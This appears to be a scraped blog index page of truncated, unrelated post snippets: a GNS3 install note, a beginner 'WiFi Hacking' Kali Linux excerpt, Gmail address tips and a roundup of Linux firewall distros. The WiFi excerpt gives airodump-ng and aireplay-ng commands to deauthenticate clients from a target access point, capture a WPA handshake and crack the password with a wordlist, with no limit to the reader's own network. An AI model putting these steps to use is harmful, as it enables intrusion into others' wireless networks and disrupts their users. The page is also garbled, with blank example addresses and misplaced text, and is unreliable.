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Fedora 25 & GNS3 1.5.2

You Need This :
python3 -m pip install --upgrade pip pip3 install aiohttp==0.22.5

WiFi Hacking For Beginners (Kali Linux)

There are two step to catch handshake.
1.Start airodump-ng on the target AP (Access Point):
The syntax is something like this:
>airodump-ng --channel [channel] –bssid [bssid] –write [file-name][interface]
Ex: >airodump-ng –channel 6 –bssid 11:22:33:44:55:66 --write out wlan0mon 2.Wait for a client to connect to the access point, or deauthenticate a
connected client (if any) so that their system will connect back automatically.
The syntax is something like this:
>aireplay-ng --deauth [number of deauth packets] –a [AP] –c [target]
Ex: >aireplay-ng –deauth 1000 –a 11:22:33:44:55:66 –c
00:AA:11:22:33 mon0 If the handshake catched, kali will inform you by top right corner of
airodump-ng will say “WPA handshake”.
Follow these steps and when you will catch handshake your screen
should like this:

Now you have handshake and you need to download largest wordlist
in the world to have change to hack password. You can download this
wordlist from the following website:

Kaspersky Free


Hidden Ways To Get More From Your Gmail Address

I recently discovered some little-known ways to use your Gmail address that can give you greater control over your inbox and save you some time and headache. When you choose a Gmail address, you actually get more than just "" Here are two different ways you can modify your Gmail address and still get your mail:
Append a plus ("+") sign and any combination of words or numbers after your email address. For example, if your name was, you could send mail to or one or several dots (".") anywhere in your email address. Gmail doesn't recognize periods as characters in addresses -- we just ignore them. For example, you could tell people your address was, or (We understand that there has been some confusion about this in the past, but to settle it once and for all, you can indeed receive …

Best Free Linux Firewalls of 2017

ClearOS ClearOS is by far the sleekest looking firewall distro in this roundup. It's obvious that a lot of time and care has gone into developing the interface. IPCop This distro, while entirely separate from IPFire, also uses helpful colour-coding to represent different connections. Green is for LAN, red for the internet, orange for DMZ, and blue for wireless clients. OPNsense OPNsense is an easy-to-use open source firewall based on FreeBSD 10.1 to ensure long-term support. Obviously enough, the project’s name is derived from the words 'open' and 'sense', standing for: ‘Open source makes sense.’ IPFire IPFire is a Linux firewall distro focusing on user-friendliness and easy setup without compromising your security, supporting some useful features such as intrusion detection. IPFire takes a serious approach to security by using an SPI (Stateful Packet Inspection) Firewall built on top of netfilter.  pfSense Like OPNsense, pfSense is based on FreeBSD and designed s…